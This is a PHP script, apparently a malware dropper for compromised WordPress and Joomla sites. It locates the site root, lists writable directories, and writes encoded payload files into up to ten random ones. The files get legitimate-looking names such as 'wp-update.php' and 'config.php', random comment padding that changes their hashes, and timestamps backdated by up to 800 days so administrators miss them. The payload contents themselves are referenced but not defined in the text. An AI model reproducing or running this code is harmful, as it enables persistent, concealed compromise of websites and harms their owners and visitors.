uploader.php

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);

function filter_dirs($dir) {
    global $site_root_dir;

    $_dir = substr($dir, strlen($site_root_dir));
    return preg_match("/^\/[a-zA-Z\_\-]+\//", $_dir);
}

function get_all_dirs($dir) {
    global $all_dirs;

    foreach(glob("$dir/*") as $file) {
        if(PLATFORM == WORDPRESS) {
            if(strpos($file, 'wp-content') === false && strpos($file, 'wp-admin') === false && strpos($file, 'wp-includes') === false) {
                continue;
            }
        }

        if(is_dir($file)) {
            if(is_writable($file)) {
                $all_dirs[] = $file;
            }
            get_all_dirs($file);
        }
    }
}

function get_file_name($path) {
    $jm_file_names = array(
        'cache.php',
        'configure.php',
        'settings.php',
        'config.php',
        'admin.php',
        'admin-class.php',
        'menus.php',
        'components.php',
        'languages.php',
        'class-library.php',
        'include.php',
        'common.php'
    );

    $wp_file_names = array(
        'wp-update.php',
        'wp-block.php',
        'wp-blog.php',
        'wp-content.php',
        'wp-ping.php',
        'wp-widgets.php',
        'wp-search.php',
        'wp-find.php',
        'wp-post-update.php',
        'wp-page-update.php',
        'wp-theme.php',
        'wp-template.php',
        'wp-query.php',
        'wp-admin-block.php',
        'wp-category.php',
        'wp-rewrite.php',
        'wp-taxonomy.php',
        'wp-xml-function.php',
        'wp-plugins.php',
        'wp-register.php',
        'admin-menu.php'
    );

    if(PLATFORM == 'WORDPRESS') {
        $file_names = $wp_file_names;
    }
    else {
        $file_names = $jm_file_names;
    }

    do {
        $full_path = $path . $file_names[array_rand($file_names)];
    }while(file_exists($full_path));

    return $full_path;
}

@set_time_limit(300);

$start_time = time();

define('MAX_EXEC_TIME', 60);
define("MAX_LEVELS_UP", 7);


$orig_dir = getcwd();

$counter = 0;
do{
    foreach(glob("*") as $file) {
        if(strpos($file, "wp-config.php") !== false) {
            define('PLATFORM', 'WORDPRESS');
        }
        if(strpos($file, "configuration.php") !== false) {
            define('PLATFORM', 'JOOMLA');
        }
    }
    if(!defined('PLATFORM')) {
        chdir('..');
        $counter++;
    }
    else {
        $site_root_dir = getcwd();
    }
}while(!defined('PLATFORM') && $counter < MAX_LEVELS_UP);

if(!defined('PLATFORM')) {
    exit("Unknown platform!");
}

$all_dirs = array();

get_all_dirs(getcwd());

//$all_dirs = array_filter($all_dirs, "filter_dirs");

if(count($all_dirs) >= 10) {
    $num_of_rand_dirs = 10;
}
else {
    $num_of_rand_dirs = count($all_dirs);
}

if($num_of_rand_dirs > count($all_dirs)) {
    $num_of_rand_dirs = count($all_dirs);
}

$chosen_dirs_indexes = array_rand($all_dirs, $num_of_rand_dirs);

print "PLATFORM : " . PLATFORM . "<br>\n";

if(PLATFORM == 'WORDPRESS') {
    $contents = array($wp_enc_file, $wp_dec_file);
}

if(PLATFORM == 'JOOMLA') {
    $contents = array($jm_enc_file, $jm_dec_file);
}

$web_dirname = dirname($_SERVER['REQUEST_URI']);
$site_root_dir_splitted = explode("/", $site_root_dir);
$web_dir_splitted = explode("/", $web_dirname);

if($site_root_dir_splitted[count($site_root_dir_splitted)-1] == $web_dir_splitted[1]) {
    $site_dir = $web_dir_splitted[1];
}

$content_type = 0;
$periods_count = 0;
$string = implode(",", range('a','z'));
foreach($chosen_dirs_indexes as $chosen_dir_index) {
    if((time() - $start_time) > MAX_EXEC_TIME) {
        exit;
    }

    $file_name = get_file_name($all_dirs[$chosen_dir_index] . '/');
    if($periods_count < 2) {
        $periods_count++;
        $file_name .= '.';
    }
    file_put_contents($file_name, $contents[$content_type] . "\n" . '<?php /*'.str_repeat(substr($string, 0, rand(1, strlen($string))), rand(1, 5)).'*/ ?>');
    touch($file_name, time() - rand(60*60*24, 60*60*24*800));
    $file_rel_path = substr($file_name, strlen($site_root_dir));
    if(!isset($site_dir)) {
        $site_dir = '';
    }
    $file_full_path = $site_dir . $file_rel_path;
    if($content_type == 0) {
        $content_type = 1;
    }
    else {
        $content_type = 0;
    }
    print preg_replace("/^\//", "", $file_full_path) . "<br>\n";
    flush();
}
//print PLATFORM;
//print_r($all_dirs);
?>